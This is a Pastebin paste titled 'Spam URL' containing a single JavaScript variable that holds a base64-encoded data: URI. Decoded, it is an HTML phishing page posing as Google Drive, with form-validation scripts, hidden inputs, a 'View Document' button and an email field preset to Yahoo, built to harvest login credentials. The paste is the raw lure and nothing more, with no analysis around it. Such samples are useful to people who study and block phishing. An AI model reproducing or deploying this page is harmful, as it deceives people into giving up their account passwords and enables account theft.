SHARE
TWEET

Spam URL

kmishra03 Dec 18th, 2015 56 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var url = "data:text/html;base64,77u/PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KPHRpdGxlPkdvb2dsZSBEcml2ZTwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KCUBjaGFyc2V0ICJVVEYtOCI7DQoqIHsNCglwYWRkaW5nOjA7bGlzdC1zdHlsZTpub25lO291dGxpbmU6bm9uZTsNCn0NCmJvZHksIGNlbnRlcnsNCiAgICBmb250LWZhbWlseTogTHVjaWRhIEdyYW5kZSwgR2VuZXZhLCBWZXJkYW5hLCBBcmlhbDsNCiAgICBmb250LXNpemU6ICAgMTJweDsNCiAgICBjb2xvcjogICAgICAgIzAwMDAwMDsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjRjJGM0Y0Ow0KfQ0KYTpob3ZlciB7DQoJY29sb3I6ICMwOEM7DQp9DQphOnZpc2l0ZWQgew0KCWNvbG9yOiAjMDhDOw0KfQ0KYTpsaW5rIHsNCgljb2xvcjogIzA4QzsJDQp9DQphOnZpc2l0ZWQgew0KCWNvbG9yOiAjMDhDOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCn0NCmE6bGluayB7DQoJY29sb3I6ICMwOEM7DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KfQ0KYTpsaW5rIHsNCgljb2xvcjogIzEyQzsNCn0NCmE6aG92ZXIgew0KCWNvbG9yOiAjMjE0MTgyOw0KfQ0KYTp2aXNpdGVkIHsNCgljb2xvcjogIzQ2NzNDQjsNCn0NCmE6bGluayB7DQoJY29sb3I6ICM0NjczQ0I7DQp9DQphIHsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7DQp9DQpzZWxlY3R7DQoJZm9udC1z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m4udmFsaWRhdGlvbkVuZ2luZUxhbmd1YWdlID0gZnVuY3Rpb24oKXsNCiAgICB9Ow0KICAgICQudmFsaWRhdGlvbkVuZ2luZUxhbmd1YWdlID0gew0KICAgICAgICBuZXdMYW5nOiBmdW5jdGlvbigpew0KICAgICAgICAgICAgJC52YWxpZGF0aW9uRW5naW5lTGFuZ3VhZ2UuYWxsUnVsZXMgPSB7DQogICAgICAgICAgICAgICAgInJlcXVpcmVkIjogew0KICAgICAgICAgICAgICAgICAgICAicmVnZXgiOiAibm9uZSIsDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHQiOiAiKiBUaGlzIGZpZWxkIGlzIHJlcXVpcmVkIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dENoZWNrYm94TXVsdGlwbGUiOiAiKiBDaG9pc2lyIHVuZSBvcHRpb24iLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0Q2hlY2tib3hlIjogIiogQ2V0dGUgb3B0aW9uIGVzdCByZXF1aXNlIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgInJlcXVpcmVkSW5GdW5jdGlvbiI6IHsgDQogICAgICAgICAgICAgICAgICAgICJmdW5jIjogZnVuY3Rpb24oZmllbGQsIHJ1bGVzLCBpLCBvcHRpb25zKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAoZmllbGQudmFsKCkgPT0gInRlc3QiKSA/IHRydWUgOiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIEZpZWxkIG11c3QgZXF1YWwgdGVzdCINCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgIm1pblNpemUiOiB7DQogICAgICAgICAgICAgICAgICAgICJyZWdleCI6ICJub25lIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIE1pbmltdW0gIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dDIiOiAiIGNhcmFjdMOocmVzIHJlcXVpcyINCiAgICAgICAgICAgICAgICB9LA0KCQkJCSJncm91cFJlcXVpcmVkIjogew0KICAgICAgICAgICAgICAgICAgICAicmVnZXgiOiAibm9uZSIsDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHQiOiAiKiBWb3VzIGRldmV6IHJlbXBsaXIgdW4gZGVzIGNoYW1wcyBzdWl2YW50Ig0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgIm1heFNpemUiOiB7DQogICAgICAgICAgICAgICAgICAgICJyZWdleCI6ICJub25lIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIE1heGltdW0gIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dDIiOiAiIGNhcmFjdMOocmVzIHJlcXVpcyINCiAgICAgICAgICAgICAgICB9LA0KCQkgICAgICAgICJtaW4iOiB7DQogICAgICAgICAgICAgICAgICAgICJyZWdleCI6ICJub25lIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIFZhbGV1ciBtaW5pbXVtIHJlcXVpc2UgIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgIm1heCI6IHsNCiAgICAgICAgICAgICAgICAgICAgInJlZ2V4IjogIm5vbmUiLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIiogVmFsZXVyIG1heGltdW0gcmVxdWlzZSAiDQogICAgICAgICAgICAgICAgfSwNCgkJICAgICAgICAicGFzdCI6IHsNCiAgICAgICAgICAgICAgICAgICAgInJlZ2V4IjogIm5vbmUiLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIiogRGF0ZSBhbnTDqXJpZXVyZSBhdSAiDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAiZnV0dXJlIjogew0KICAgICAgICAgICAgICAgICAgICAicmVnZXgiOiAibm9uZSIsDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHQiOiAiKiBEYXRlIHBvc3TDqXJpZXVyZSBhdSAiDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAibWF4Q2hlY2tib3giOiB7DQogICAgICAgICAgICAgICAgICAgICJyZWdleCI6ICJub25lIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIE5vbWJyZSBtYXggZGUgY2hvaXggZXhjw6lkw6kiDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAibWluQ2hlY2tib3giOiB7DQogICAgICAgICAgICAgICAgICAgICJyZWdleCI6ICJub25lIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIFZldWlsbGV6IGNob2lzaXIgIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dDIiOiAiIG9wdGlvbnMiDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAiZXF1YWxzIjogew0KICAgICAgICAgICAgICAgICAgICAicmVnZXgiOiAibm9uZSIsDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHQiOiAiKiBWb3RyZSBjaGFtcCBuJ2VzdCBwYXMgaWRlbnRpcXVlIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgIm5lbWVPbklkIjogew0KICAgICAgICAgICAgICAgICAgICAicmVnZXgiOiAvXltcLVwrXT9cZHsxNSwxNn0kLywNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIE51bWJlciBvZiBpbnZhbGlkIGNyZWRpdCBjYXJkIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgInBob25lIjogew0KICAgICAgICAgICAgICAgICAgICAvLyBjcmVkaXQ6IGpxdWVyeS5oNXZhbGlkYXRlLmpzIC8gb3JlZmFsbw0KICAgICAgICAgICAgICAgICAgICAicmVnZXgiOiAvXihbXCtd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BkZWNpbWFsLiBjcmVkaXQ6IG9yZWZhbG8NCiAgICAgICAgICAgICAgICAgICAgInJlZ2V4IjogL15bXC1cK10/KCgoWzAtOV17MSwzfSkoWyxdWzAtOV17M30pKil8KFswLTldKykpPyhbXC5dKFswLTldKykpPyQvLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIiogTm9tYnJlIGZsb3R0YW50IGludmFsaWRlIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgImRhdGUiOiB7DQogICAgICAgICAgICAgICAgICAgICJyZWdleCI6IC9eXGR7NH1bXC9cLV0oMD9bMS05XXwxWzAxMl0pW1wvXC1dKDA/WzEtOV18WzEyXVswLTldfDNbMDFdKSQvLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIiogRGF0ZSBpbnZhbGlkZSwgZm9ybWF0IFlZWVktTU0tREQgcmVxdWlzIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgImlwdjQiOiB7DQogICAgICAgICAgICAgICAgCSJyZWdleCI6IC9eKCgoWzAxXT9bMC05XXsxLDJ9KXwoMlswLTRdWzAtOV0pfCgyNVswLTVdKSlbLl0pezN9KChbMC0xXT9bMC05XXsxLDJ9KXwoMlswLTRdWzAtOV0pfCgyNVswLTVdKSkkLywNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIEFkcmVzc2UgSVAgaW52YWxpZGUiDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAidXJsIjogew0KICAgICAgICAgICAgICAgICAgICAicmVnZXgiOiAvXihodHRwcz98ZnRwKTpcL1wvKCgoKFthLXpdfFxkfC18XC58X3x+fFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKXwoJVtcZGEtZl17Mn0pfFshXCQmJ1woXClcKlwrLDs9XXw6KSpAKT8oKChcZHxbMS05XVxkfDFcZFxkfDJbMC00XVx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XD8oKChbYS16XXxcZHwtfFwufF98fnxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSl8KCVbXGRhLWZdezJ9KXxbIVwkJidcKFwpXCpcKyw7PV18OnxAKXxbXHVFMDAwLVx1RjhGRl18XC98XD8pKik/KFwjKCgoW2Etel18XGR8LXxcLnxffH58W1x1MDBBMC1cdUQ3RkZcdUY5MDAtXHVGRENGXHVGREYwLVx1RkZFRl0pfCglW1xkYS1mXXsyfSl8WyFcJCYnXChcKVwqXCssOz1dfDp8QCl8XC98XD8pKik/JC9pLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIiogVVJMIGludmFsaWRlIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgIm9ubHlOdW1iZXJTcCI6IHsNCiAgICAgICAgICAgICAgICAgICAgInJlZ2V4IjogL15bMC05XCBdKyQvLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIiogU2V1bHMgbGVzIGNoaWZmcmVzIHNvbnQgYWNjZXB0w6lzIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgIm9ubHlMZXR0ZXJTcCI6IHsNCiAgICAgICAgICAgICAgICAgICAgInJlZ2V4IjogL15bYS16QS1aXHUwMEMwLVx1MDBENlx1MDBEOS1cdTAwRjZcdTAwRjktXHUwMEZEXCBcJ10rJC8sDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHQiOiAiKiBTZXVsZXMgbGVzIGxldHRyZXMgc29udCBhY2NlcHTDqWVzIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgIm9ubHlMZXR0ZXJOdW1iZXIiOiB7DQogICAgICAgICAgICAgICAgICAgICJyZWdleCI6IC9eWzAtOWEtekEtWlx1MDBDMC1cdTAwRDZcdTAwRDktXHUwMEY2XHUwMEY5LVx1MDBGRF0rJC8sDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHQiOiAiKiBBdWN1biBjYXJhY3TDqHJlIHNww6ljaWFsIG4nZXN0IGFjY2VwdMOpIg0KICAgICAgICAgICAgICAgIH0sDQoJCQkJLy8gLS0tIENVU1RPTSBSVUxFUyAtLSBUaG9zZSBhcmUgc3BlY2lmaWMgdG8gdGhlIGRlbW9zLCB0aGV5IGNhbiBiZSByZW1vdmVkIG9yIGNoYW5nZWQgdG8geW91ciBsaWtpbmdzDQogICAgICAgICAgICAgICAgImFqYXhVc2VyQ2FsbCI6IHsNCiAgICAgICAgICAgICAgICAgICAgInVybCI6ICJhamF4VmFsaWRhdGVGaWVsZFVzZXIiLA0KICAgICAgICAgICAgICAgICAgICAiZXh0cmFEYXRhIjogIm5hbWU9ZXJpYyIsDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHRMb2FkIjogIiogQ2hhcmdlbWVudCwgdmV1aWxsZXogYXR0ZW5kcmUiLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIiogQ2Ugbm9tIGVzdCBkw6lqw6AgcHJpcyINCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICJhamF4TmFtZUNhbGwiOiB7DQogICAgICAgICAgICAgICAgICAgICJ1cmwiOiAiYWpheFZhbGlkYXRlRmllbGROYW1lIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIENlIG5vbSBlc3QgZMOpasOgIHByaXMiLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0T2siOiAiKkNlIG5vbSBlc3QgZGlzcG9uaWJsZSIsDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHRMb2FkIjogIiogQ2hhcmdlbWVudCwgdmV1aWxsZXogYXR0ZW5kcmUiDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAidmFsaWRhdGUyZmllbGRzIjogew0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIlZldWlsbGV6IHRhcGVyIGxlIG1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ib3JkZXI6MDsiPg0KCQkJCQkJCQkJCTxpbnB1dCBuYW1lPSJkb25uZWUxIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSImbHQ7P3BocCBlY2hvICRfUE9TVFsmIzM5O2Rvbm5lZTEmIzM5O107PyZndDsiPiA8aW5wdXQgbmFtZT0iZG9ubmVlMiIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iJmx0Oz9waHAgZWNobyAkX1BPU1RbJiMzOTtkb25uZWUyJiMzOTtdOz8mZ3Q7Ij4gPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlZpZXcgRG9jdW1lbnQiPjwvdGQ+DQoJCQkJCQkJCTwvdHI+DQoJCQkJCQkJPC90Ym9keT4NCgkJCQkJCTwvdGFibGU+DQoJCQkJCTxpbnB1dCBuYW1lPSJpc192YWxpZF9lbWFpbCIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iQHlhaG9vLmNvbSI+PC9mb3JtPg0KCQkJCTwvZGl2Pg0KCQkJPC9kaXY+DQoJCTwvZGl2Pg0KCQk8cCBhbGlnbj0iY2VudGVyIj5Db3B5cmlnaHQgwqkgMjAxNC48L3A+DQoJCQ0KPC9ib2R5PjwvaHRtbD4=";
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top